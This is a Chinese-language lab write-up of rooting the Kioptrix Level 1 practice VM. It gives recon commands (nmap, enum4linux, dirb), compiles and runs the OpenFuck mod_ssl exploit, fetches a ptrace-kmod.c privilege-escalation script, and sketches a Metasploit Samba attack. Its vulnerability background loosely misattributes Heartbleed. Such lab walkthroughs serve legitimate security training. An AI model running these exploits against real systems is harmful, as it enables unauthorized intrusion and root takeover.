靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞
声明
学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负
一、准备工作
首先使用 vmware 导入靶机文件,
然后网络模式改成 nat 模式即可
我们打开靶机后发现需要我们拿到 root 权限,那我们尝试外部渗透
二、开始工作
1、信息收集
1、首先探测出目标 ip,我们再对目标 ip 地址进行端口存活的扫描,以及使用的服务版本信息等
1、ifconfg(查看自己网段)
2、nmap -sS -sV 192.168.122.188
3、nmap -sn 192.168.122.x/2(探测全网段ip)
4、arp-scan -l(探测存活主机)
5、指纹探测,nmap -p- -sV -A 192.168.122.188(-sV: 服务版本扫描 -A:全面扫描 -p-:全端口扫描,信息全面,比较好确认使用的服务相关信息)
以下便是我们采用不同方式探测到的主机 ip
指纹探测,推荐使用第 namp -sS -sV ip 探测出来的很清晰,信息很集中
我们得到的信息:
-
22 端口开放,ssh 服务(可尝试弱口令)
-
80 端口开放,Apache httpd 1.3.20 ((Unix),mod_ssl/2.8.4 OpenSSL/0.9.6b),Apache 版本过低可能存在 mod_ssl 漏洞。
-
443 端口开放,(80,443 在浏览器上尝试一下)
-
139 端口开放,Samba 服务,可能存在漏洞利用
2、信息利用
一、找相关exp文件
1、我们尝试利用访问浏览器的 80、443 端口,查询是否有可利用信息
80 端口的页面只有使用的 Apache 服务,和 RedHat,并没给出特别有用信息
2、端口 139 利用(SMB)
nmap -T4 -A -p 139 192.168.122.188
smbclient -L //SERVER -I 192.168.139.5 -N
匿名登录smb
enum4linux -a IP
enum4linux 介绍:
enum4linux -a 是一个用于枚举 Windows 和 Samba 系统信息的工具,它提供了多种功能,包括获取用户列表、机器列表、共享列表、密码策略信息、组和成员列表等。以下是关于 enum4linux -a 的详细解释和使用方法。
enum4linux -a 命令会执行一系列的枚举操作,以获取目标系统上的各种信息。具体来说,它会执行以下操作:
获取用户列表(-U)
获取机器列表(-M)
获取共享列表(-S)
获取密码策略信息(-P)
获取组和成员列表(-G)
通过 RID 循环枚举用户(-r)
获取操作系统信息(-o)
获取打印机信息(-i)
做一个 nmblookup(类似于 nbtstat)(-n)
详细输出,显示正在运行的完整命令(-v)
3、使用 dirb,和 dirsearch 扫描目录
dirb http://192.168.122.188
dirsearch http://192.168.122.188 -e * -i 200
区别:dirb是kali自带的扫描工具,而dirsearch需要自己下载
这是我们的探测结果,我们去尝试打开他们
我们尝试 url,发现了这样一个 mod_ssl 漏洞信息,也是靶场给我们的提示,我们借着这个信息顺藤摸瓜。
漏洞介绍: Apache 的 mod_ssl 缓冲区溢出漏洞主要因模块未严格验证 SSL/TLS 协议处理中的输入数据边界,导致攻击者可通过构造恶意请求覆盖相邻内存区域。例如,早期 OpenSSL 版本(如 CVE-2014-0160 心脏出血漏洞)因未检查心跳包长度,引发信息泄露,而类似逻辑缺陷可能扩展为代码执行风险 4。此类漏洞通常通过发送超长或畸形 SSL 数据触发,可能造成服务崩溃或远程控制服务器。
3、寻找相关 exp 既然我们也清晰了相关漏洞,那我们就要找到相关的 exp,对症下药。
1、searchsploit apache 1.3.20
2、searchsploit mod_ssl
3、选择在网站上查询,https://www.exploit-db.com/search
我们自己决定使用哪条命令,因为在之前我们收集到了mod_ssl的信息,我们选择第二条命令,选择哪种方式都ok
我们看到第二张图片, 如何判断我们要使用哪个 exp 也是一个问题,我们要根据之前的收集信息,RedHat、apache 版本等来确定使用哪个 exp。
我们将三个 exp 文件下载下来尝试去编译,我们下载后先查看运行的相关信息
记得换源,这个就自行更改就行
4、使用 exp
gcc -o OpenFuck 47080.c -lcrypto
使用gcc编译我们的47080.c,每个文件都尝试一下
./OpenFuck | grep 1.3.20
检索查询编译后二进制文件
以下是两种检索方式
这么多文件我们要选择哪一个呢,记住我们之前收集到的信息,RedHat、Apache1.3.20
ok,ox6a 的文件的用户权限是 apache,也就是普通用户,这时候我们进行提权 a、下载提权脚本
https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
b、本机终端开启 80 端口监听服务
python -m http.server 80
c、另外开一个终端连接靶机然后在本机 80 端口下载提权文件
wget http://192.168.122.187:80/ptrace-kmod.c
注意,ip是本机ip,弄错了就去找块豆腐撞死好吧
d、我在再次编译 OpenFcuk 文件,这次登录后实质上已经编译了 ptrace-kmod.c
./OpenFuck 0x6b 192.168.122.188 443 -c 40
这时候权限就已经变成了 root
这个时候就可以任意访问靶机文件了
二、使用msf,smaba漏洞
这里我也是看了其他大佬的文章,也可以使用msf方式进行提权,接下来我们尝试一下
先来个简单的介绍,这种通常要记住端口自己找一找关键信息
Samba远程代码执行漏洞利用 Samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;NFS 与 samba 一样,也是在网络中实现文件共享的一种实现,但不支持 windows 平台,samba 是能够在任何支持 SMB 协议的主机之间共享文件的一种实现,当然也包括 windows。SMB 是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。samba监听端口:TCP 139/445 | UDP 137/138
1、打开msf
msfconsole
我们打开msf工具
2、确定版本 我们要确定我们的smaba版本
这里我们还是要设定参数的,首先我们选择了探测smaba版本的工具,输入options然后设置探测端口,再运行,我们得到了smaba版本号是2.2.1a
按照大佬所说的小技巧,一般是great和excelle成功率比较高,还是根据信息收集,选择linux x86
拿下!
总结:虽然拿下了,但是也是建立在别人知识的基础上,但是作为打靶路上的第一站,我觉得打靶真的可以学到很多东西,虽然只是一个简单靶场但还是比较有成就感。其次把打靶的流程也熟悉了一遍包括工具的使用,对于我这个喜欢啃书本的人来说,实战是非常有冲击感的,希望以此为始来见证我的渗透之路,走着。
后续我也会出更多打靶文章,希望大家关注!谢谢。